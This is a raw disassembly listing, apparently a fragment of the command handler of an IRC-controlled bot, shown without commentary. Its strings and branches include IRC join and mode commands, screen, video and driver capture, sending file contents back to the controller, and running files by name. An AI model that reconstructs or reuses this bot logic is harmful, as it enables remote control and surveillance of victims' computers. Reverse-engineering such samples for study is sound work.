esp, 10h cmp eax, esi jnz short loc_408403 mov [ebp+var_638], 5 loc_408403: ; CODE XREF: sub_401ACD+692Bj cmp [ebp+var_C], ebx jz loc_406CDE push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDE lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2650BA1h test eax, eax jnz short loc_40844C push offset unk_42A010 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_40844C: ; CODE XREF: sub_401ACD+6973j push edi push offset dword_429FF4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_408457: ; CODE XREF: sub_401ACD+4ACBj ; sub_401ACD+4AE2j push edi push offset aDark ; "Dark" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D0 lea eax, [ebp+var_48F0] push eax push 104h nop call near ptr 2690000h push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD80 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084EC push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F2 ; --------------------------------------------------------------------------- loc_4084EC: ; CODE XREF: sub_401ACD+6A09j mov [ebp+var_23C0], ebx loc_4084F2: ; CODE XREF: sub_401ACD+6A1Dj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_408509 push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_40850F ; --------------------------------------------------------------------------- loc_408509: ; CODE XREF: sub_401ACD+6A2Bj mov [ebp+var_23C4], ebx loc_40850F: ; CODE XREF: sub_401ACD+6A3Aj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_429FBC push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163F9 push ebx push ebx call near ptr 267009Ch nop mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_4085BF loc_4085A9: ; CODE XREF: sub_401ACD+6AF0j cmp [ebp+var_23B0], ebx jnz loc_406CDE push 32h nop call near ptr 2670000h jmp short loc_4085A9 ; --------------------------------------------------------------------------- loc_4085BF: ; CODE XREF: sub_401ACD+6ADAj call near ptr 2670914h nop push eax push offset dword_429F80 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4085D0: ; CODE XREF: sub_401ACD+6999j push offset dword_429F38 loc_4085D5: ; CODE XREF: sub_401ACD+2E73j ; sub_401ACD+457Cj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDE ; --------------------------------------------------------------------------- loc_4085E8: ; CODE XREF: sub_401ACD+4A9Dj ; sub_401ACD+4AB4j push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408673 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax call near ptr 2670000h nop loc_408673: ; CODE XREF: sub_401ACD+6B8Ej push offset dword_429F14 call sub_4151AC mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408687: ; CODE XREF: sub_401ACD+4A6Fj ; sub_401ACD+4A86j push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408745 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_429EFC push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408745: ; CODE XREF: sub_401ACD+6BFAj push offset unk_429EC8 loc_40874A: ; CODE XREF: sub_401ACD+7542j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408759: ; CODE XREF: sub_401ACD+74CAj ; sub_401ACD+7623j cmp [ebp+var_8], ebx jnz short loc_40877A push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_40877A: ; CODE XREF: sub_401ACD+6C8Fj ; sub_401ACD+72C7j ... lea eax, [ebp+var_2C4] push eax call sub_4151AC jmp loc_409853 ; --------------------------------------------------------------------------- loc_40878B: ; CODE XREF: sub_401ACD+4A41j ; sub_401ACD+4A58j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_429E94 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset byte_4143CB push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40884B loc_408839: ; CODE XREF: sub_401ACD+6D7Cj cmp [ebp+var_2088], ebx jnz short loc_408866 push 32h nop call near ptr 2670000h jmp short loc_408839 ; --------------------------------------------------------------------------- loc_40884B: ; CODE XREF: sub_401ACD+6D6Aj call near ptr 2670914h nop push eax push offset unk_429E58 loc_408857: ; CODE XREF: sub_401ACD+6E89j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408866: ; CODE XREF: sub_401ACD+6D72j ; sub_401ACD+6E6Dj cmp [ebp+var_8], ebx jnz loc_409630 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409628 ; --------------------------------------------------------------------------- loc_408886: ; CODE XREF: sub_401ACD+4A13j ; sub_401ACD+4A2Aj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_429E2C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset byte_413B77 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40894A loc_408934: ; CODE XREF: sub_401ACD+6E7Bj cmp [ebp+var_221C], ebx jnz loc_408866 push 32h nop call near ptr 2670000h jmp short loc_408934 ; --------------------------------------------------------------------------- loc_40894A: ; CODE XREF: sub_401ACD+6E65j nop call near ptr 2670914h push eax push offset dword_429DF0 jmp loc_408857 ; --------------------------------------------------------------------------- loc_40895B: ; CODE XREF: sub_401ACD+49E5j ; sub_401ACD+49FCj push edi lea eax, [ebp+var_2C4] push offset dword_429DE8 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408978: ; CODE XREF: sub_401ACD+6F16j test eax, eax jle loc_409854 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 loc_408994: ; CODE XREF: sub_401ACD+7A55j lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C jmp loc_404933 ; --------------------------------------------------------------------------- loc_4089BF: ; CODE XREF: sub_401ACD+49B7j ; sub_401ACD+49CEj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_429DD4 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408978 ; --------------------------------------------------------------------------- loc_4089E5: ; CODE XREF: sub_401ACD+4989j ; sub_401ACD+49A0j push edi lea eax, [ebp+var_2C4] push offset dword_42B490 push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409854 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push edi push esi push offset dword_429DB8 loc_408A4B: ; CODE XREF: sub_401ACD+7009j ; sub_401ACD+7078j ... call sub_415220 jmp loc_404933 ; --------------------------------------------------------------------------- loc_408A55: ; CODE XREF: sub_401ACD+495Bj ; sub_401ACD+4972j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A84 push esi lea eax, [ebp+var_2C4] push offset dword_429DB0 push eax call sub_41B886 add esp, 0Ch loc_408A84: ; CODE XREF: sub_401ACD+6FA0j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 lea eax, [ebp+var_2C4] push eax push offset dword_429DE0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D94 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408ADB: ; CODE XREF: sub_401ACD+492Dj ; sub_401ACD+4944j cmp [ebp+var_C], ebx jz loc_409854 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409854 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409854 push esi push offset dword_429DE0 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43DEEC[eax] call sub_409A2C add esp, 0Ch push esi push edi push offset dword_429D78 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408B4A: ; CODE XREF: sub_401ACD+48FFj ; sub_401ACD+4916j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch push esi push offset unk_429D50 jmp loc_40984D ; --------------------------------------------------------------------------- loc_408B86: ; CODE XREF: sub_401ACD+48D1j ; sub_401ACD+48E8j push [ebp+var_8C] push offset dword_42C968 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_429D44 push [ebp+arg_4] call sub_409A2C push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2670000h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_429D30 call sub_4151AC jmp loc_40351F ; --------------------------------------------------------------------------- loc_408BEA: ; CODE XREF: sub_401ACD+48A3j ; sub_401ACD+48BAj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push esi lea eax, [ebp+var_2C4] push offset dword_42A464 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 20h push esi push [ebp+arg_10] push offset unk_429D14 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408C57: ; CODE XREF: sub_401ACD+4875j ; sub_401ACD+488Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409854 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A72 add esp, 14h push esi push [ebp+arg_10] push offset unk_429CF4 jmp loc_408A4B ; --------------------------------------------------------------------------- loc_408CAC: ; CODE XREF: sub_401ACD+4847j ; sub_401ACD+485Ej cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B4 pop ecx pop ecx push [ebp+arg_10] push offset unk_429CD4 loc_408CDB: ; CODE XREF: sub_401ACD+5852j ; sub_401ACD+7B2Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_40960F ; --------------------------------------------------------------------------- loc_408CEF: ; CODE XREF: sub_401ACD+4819j ; sub_401ACD+4830j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E1 jmp loc_4040FC ; --------------------------------------------------------------------------- loc_408D09: ; CODE XREF: sub_401ACD+47DBj ; sub_401ACD+47F0j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409854 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB1 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_429F28 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_429CAC push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877A ; --------------------------------------------------------------------------- loc_408D99: ; CODE XREF: sub_401ACD+726Fj lea eax, [ebp+var_2C4] push offset unk_429C7C push eax call sub_41B886 pop ecx pop ecx jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DB1: ; CODE XREF: sub_401ACD+725Aj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_429C60 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877A ; --------------------------------------------------------------------------- loc_408DFD: ; CODE XREF: sub_401ACD+47B1j ; sub_401ACD+47C6j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E58 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E45 push edi call sub_4153BC cmp eax, 1 pop ecx jnz short loc_408E3E push edi lea eax, [ebp+var_2C4] push offset unk_429C2C push eax call sub_41B886 add esp, 0Ch jmp short loc_408E58 ; --------------------------------------------------------------------------- loc_408E3E: ; CODE XREF: sub_401ACD+7358j push offset unk_429BFC jmp short loc_408E4A ; --------------------------------------------------------------------------- loc_408E45: ; CODE XREF: sub_401ACD+734Cj push offset unk_429BC0 loc_408E4A: ; CODE XREF: sub_401ACD+7376j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E58: ; CODE XREF: sub_401ACD+7341j ; sub_401ACD+736Fj push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE5 xor edi, edi loc_408E6D: ; CODE XREF: sub_401ACD+7403j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CAFD4 test eax, eax jz short loc_408ECC lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_429B90 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 28h loc_408ECC: ; CODE XREF: sub_401ACD+73C1j inc edi cmp edi, 0Ah jl short loc_408E6D lea eax, [ebp+var_2C4] push offset unk_429B68 push eax call sub_41B886 pop ecx pop ecx loc_408EE5: ; CODE XREF: sub_401ACD+739Cj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F86 cmp [ebp+esi+var_88], ebx jz short loc_408F73 cmp [ebp+esi+var_84], ebx jz short loc_408F73 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F73 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F73 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F7 add esp, 10h test eax, eax jnz short loc_408F6C push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_429B34 push eax call sub_41B886 add esp, 0Ch jmp short loc_408F86 ; --------------------------------------------------------------------------- loc_408F6C: ; CODE XREF: sub_401ACD+7480j push offset unk_429B00 jmp short loc_408F78 ; --------------------------------------------------------------------------- loc_408F73: ; CODE XREF: sub_401ACD+7436j ; sub_401ACD+743Fj ... push offset unk_429AC8 loc_408F78: ; CODE XREF: sub_401ACD+74A4j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F86: ; CODE XREF: sub_401ACD+7429j ; sub_401ACD+749Dj push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408759 mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901E mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901E mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901E mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901E mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901E push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F0 add esp, 14h test eax, eax jnz short loc_409014 push [ebp+arg_1C] push offset unk_429A94 jmp loc_40874A ; --------------------------------------------------------------------------- loc_409014: ; CODE XREF: sub_401ACD+7538j push offset unk_429A54 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_40901E: ; CODE XREF: sub_401ACD+74DCj ; sub_401ACD+74EAj ... push offset unk_429A14 jmp loc_4090E2 ; --------------------------------------------------------------------------- loc_409028: ; CODE XREF: sub_401ACD+4041j ; sub_401ACD+4056j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409098 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409053: ; CODE XREF: sub_401ACD+75B5j test eax, eax jz short loc_409084 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409053 ; --------------------------------------------------------------------------- loc_409084: ; CODE XREF: sub_401ACD+7588j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_4299F0 jmp loc_409226 ; --------------------------------------------------------------------------- loc_409098: ; CODE XREF: sub_401ACD+756Ej push [ebp+arg_10] push offset unk_4299CC jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+4017j ; sub_401ACD+402Cj cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409854 push offset asc_4299C8 ; "\n" push esi call sub_41BEC0 push esi call sub_419A50 add esp, 0Ch test eax, eax jnz short loc_4090F5 push offset unk_42999C loc_4090E2: ; CODE XREF: sub_401ACD+754Cj ; sub_401ACD+7556j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_408759 ; --------------------------------------------------------------------------- loc_4090F5: ; CODE XREF: sub_401ACD+760Ej push esi lea eax, [ebp+var_2C4] push offset dword_429984 push eax call sub_41B886 add esp, 0Ch jmp loc_40877A ; --------------------------------------------------------------------------- loc_40910F: ; CODE XREF: sub_401ACD+3FEDj ; sub_401ACD+4002j cmp [ebp+var_C], ebx jz loc_409854 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409854 push eax call sub_418211 test eax, eax pop ecx jnz short loc_40913F push offset unk_429964 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_40913F: ; CODE XREF: sub_401ACD+7669j push offset dword_429948 jmp short loc_4090E2 ; --------------------------------------------------------------------------- loc_409146: ; CODE XREF: sub_401ACD+3FC3j ; sub_401ACD+3FD8j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409177 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409177: ; CODE XREF: sub_401ACD+7696j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_429930 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F6 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB5 push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz short loc_40921A loc_409204: ; CODE XREF: sub_401ACD+774Bj cmp [ebp+var_1EF4], ebx jnz loc_406CFF push 32h nop call near ptr 2670000h jmp short loc_409204 ; --------------------------------------------------------------------------- loc_40921A: ; CODE XREF: sub_401ACD+7735j nop call near ptr 2670914h push eax push offset unk_4298F0 loc_409226: ; CODE XREF: sub_401ACD+29CEj ; sub_401ACD+75C6j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406CFF ; --------------------------------------------------------------------------- loc_40923A: ; CODE XREF: sub_401ACD+3F99j ; sub_401ACD+3FAEj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96A add esp, 10h push [ebp+arg_10] push offset dword_4298D8 jmp loc_40984D ; --------------------------------------------------------------------------- loc_40925C: ; CODE XREF: sub_401ACD+3F6Fj ; sub_401ACD+3F84j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_4298B4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1A push ebx push ebx nop call near ptr 267009Ch mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43DEF4[ecx], eax jz loc_4023E6 loc_409325: ; CODE XREF: sub_401ACD+786Cj cmp [ebp+var_1BA0], ebx jnz loc_4083BC push 32h nop call near ptr 2670000h jmp short loc_409325 ; --------------------------------------------------------------------------- loc_40933B: ; CODE XREF: sub_401ACD+3F45j ; sub_401ACD+3F5Aj push [ebp+arg_10] nop call near ptr 2670230h test eax, eax jz short loc_409366 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429898 push 200h push eax call sub_41B980 jmp loc_409444 ; --------------------------------------------------------------------------- loc_409366: ; CODE XREF: sub_401ACD+7879j push offset dword_42A0A0 call sub_41814C pop ecx push eax jmp loc_403F47 ; --------------------------------------------------------------------------- loc_409377: ; CODE XREF: sub_401ACD+3F1Bj ; sub_401ACD+3F30j push [ebp+arg_10] call sub_41B779 push eax call sub_4199C9 pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409398 push offset unk_429874 jmp short loc_40939D ; --------------------------------------------------------------------------- loc_409398: ; CODE XREF: sub_401ACD+78C2j push offset unk_429844 loc_40939D: ; CODE XREF: sub_401ACD+78C9j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D02 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h jmp loc_406D02 ; --------------------------------------------------------------------------- loc_4093D6: ; CODE XREF: sub_401ACD+3EF1j ; sub_401ACD+3F06j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BC add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FC push offset unk_429824 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4093FC: ; CODE XREF: sub_401ACD+7923j push offset unk_4297F4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_409406: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDCj mov esi, [ebp+arg_10] push esi call dword_4CAFE4 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944C push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CAF5C cmp eax, ebx jz short loc_409467 push dword ptr [eax] loc_409432: ; CODE XREF: sub_401ACD+7998j push esi lea eax, [ebp+var_2C4] push offset unk_4297D4 push eax call sub_41B886 loc_409444: ; CODE XREF: sub_401ACD+7894j add esp, 10h jmp loc_406CDE ; --------------------------------------------------------------------------- loc_40944C: ; CODE XREF: sub_401ACD+794Cj push esi call dword_4CB028 cmp eax, ebx jz short loc_409467 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB030 push eax jmp short loc_409432 ; --------------------------------------------------------------------------- loc_409467: ; CODE XREF: sub_401ACD+7961j ; sub_401ACD+7988j push offset unk_4297AC jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_409471: ; CODE XREF: sub_401ACD+3E9Dj ; sub_401ACD+3EB2j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429784 jmp loc_4049EB ; --------------------------------------------------------------------------- loc_40948E: ; CODE XREF: sub_401ACD+3E73j ; sub_401ACD+3E88j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CAF10 push [ebp+arg_10] test eax, eax jz short loc_4094B2 push offset unk_429764 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_4094B2: ; CODE XREF: sub_401ACD+79D9j push offset unk_429740 jmp loc_406CCF ; 